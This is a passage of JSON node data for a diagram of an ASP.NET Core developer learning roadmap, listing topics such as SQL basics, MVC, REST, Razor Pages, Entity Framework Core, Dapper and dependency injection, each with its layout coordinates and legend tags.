Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -279.57383949457864,\n        \"y\": 193.02155144086436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YI3cAezupWNntFw4B6elY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.57383949457864,\n        \"y\": 246.02155144086436\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HTTP / HTTPs Protocol\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -279.57383949457864,\n        \"y\": 246.02155144086436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RAX2xN37taw9cqA3pnORh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.57383949457864,\n        \"y\": 299.02155144086436\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Structures and Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -279.57383949457864,\n        \"y\": 299.02155144086436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 128.89029212267985,\n        \"y\": 372.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 128.89029212267985,\n        \"y\": 372.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aOJMVrTcA_I2y_QHzj7aM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.3038707552415,\n        \"y\": 266.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3038707552415,\n        \"y\": 266.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zlAcgLKxGF_TyrcJIk4X7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.3038707552415,\n        \"y\": 319.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Design Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3038707552415,\n        \"y\": 319.3564029892008\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZiK-c9zNbi5RZkKUi44wP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.3038707552415,\n        \"y\": 372.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stored Procedures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3038707552415,\n        \"y\": 372.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1-XdtrGPbUoxpu9ZcQlBA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.3038707552415,\n        \"y\": 425.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3038707552415,\n        \"y\": 425.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2f_CJMnXwPxjMEwm5P_QJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.3038707552415,\n        \"y\": 478.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Triggers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3038707552415,\n        \"y\": 478.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v2ZTCQQFQPoJNhOVGMG2g\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 372.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ASP.NET Core Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 372.3564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D3aQw0-pk3ycO-n10HBaA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 460.75823396078783\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 460.75823396078783\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dZ9fYWMBa1OemTmLOI8_q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -171.8408171232163,\n        \"y\": 460.75823396078783\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -171.8408171232163,\n        \"y\": 460.75823396078783\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qpVxwuyA2oE06MZLtEdP1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 566.7582339607878\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Razor Pages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ipABerBcM9zCte9pYaIse\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 566.7582339607878\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vePinRjDfSGULKw0LE9K-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 619.7582339607878\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Razor Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 619.7582339607878\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dG--AAcZZdltYCeg6zCz2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 673.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Middlewares\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 673.5\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U3HXmNq6x2YA3BwZsOTbe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 725.758233960788\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Filters and Attributes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 725.758233960788\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EJxliq-HPVp00CVsFc6kf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 778.758233960788\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"App Settings and Configs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fius143Op9lRLjSZwjwVX\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 778.758233960788\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R7Qk5hsEIl9dspQXdaJAJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.7391698372666,\n        \"y\": 160.72101054939196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"StyleCop Rules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 535.7391698372666,\n        \"y\": 160.72101054939196\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ipABerBcM9zCte9pYaIse\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.8408171232163,\n        \"y\": 513.7582339607878\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Minimal APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.8408171232163,\n        \"y\": 513.7582339607878\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"POQPoN98eqOH2873ZI6Hm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 123.39029212267985,\n        \"y\": 458.3564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Relational Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 123.39029212267985,\n        \"y\": 458.3564029892008\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ET74_7ieahNaGdPT11_NI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.96419656583225,\n        \"y\": 556.1824773344911\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Entity Framework Core\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.96419656583225,\n        \"y\": 556.1824773344911\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eGVaAz3VhGu3cXBNxTAWd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 336.96419656583225,\n        \"y\": 617.1824773344911\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Framework Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 336.96419656583225,\n        \"y\": 617.1824773344911\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZPeebwJ3OBuywEgLLgQTG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 336.96419656583225,\n        \"y\": 670.1824773344911\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code First + Migrations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 336.96419656583225,\n        \"y\": 670.1824773344911\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9AMotSwdEbB8uOg80SykE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 336.96419656583225,\n        \"y\": 776.1824773344911\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lazy, Eager, Explicit Loading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 336.96419656583225,\n        \"y\": 776.1824773344911\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wfEOvAkGXkTZGdGX341D4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 336.96419656583225,\n        \"y\": 723.1824773344911\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Change Tracker API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 336.96419656583225,\n        \"y\": 723.1824773344911\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UkWc41r0bZ1lptjse3As6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.39029212267985,\n        \"y\": 543.5872226672002\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dapper\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 123.39029212267985,\n        \"y\": 543.5872226672002\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tYDVcnG0oUF3R8DwASvAh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 14.95423833729052,\n        \"y\": 543.5872226672002\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RepoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 14.95423833729052,\n        \"y\": 543.5872226672002\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z24IJndpQYTl1PhiUI2mx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 15.04192151113341,\n        \"y\": 597.5872226672002\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NHibernate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 51\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 15.04192151113341,\n        \"y\": 597.5872226672002\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"IejHMMVKwA0sIInla4FjX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 328.96419656583225,\n        \"y\": 934.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7Nth4LOrM_KirhvjDGkgS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.96419656583225,\n        \"y\": 934.4078325432465\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f212ztDU_kb7gO71Nn76L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 489.3768792343918,\n        \"y\": 859.6516938508362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scrutor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 489.3768792343918,\n        \"y\": 859.6516938508362\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Tjaczp2E-cCn0qSv89xgo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 640.5854863036282,\n        \"y\": 934.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Life Cycles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"g\"\n        },\n        \"legend\": {\n          \"id\": 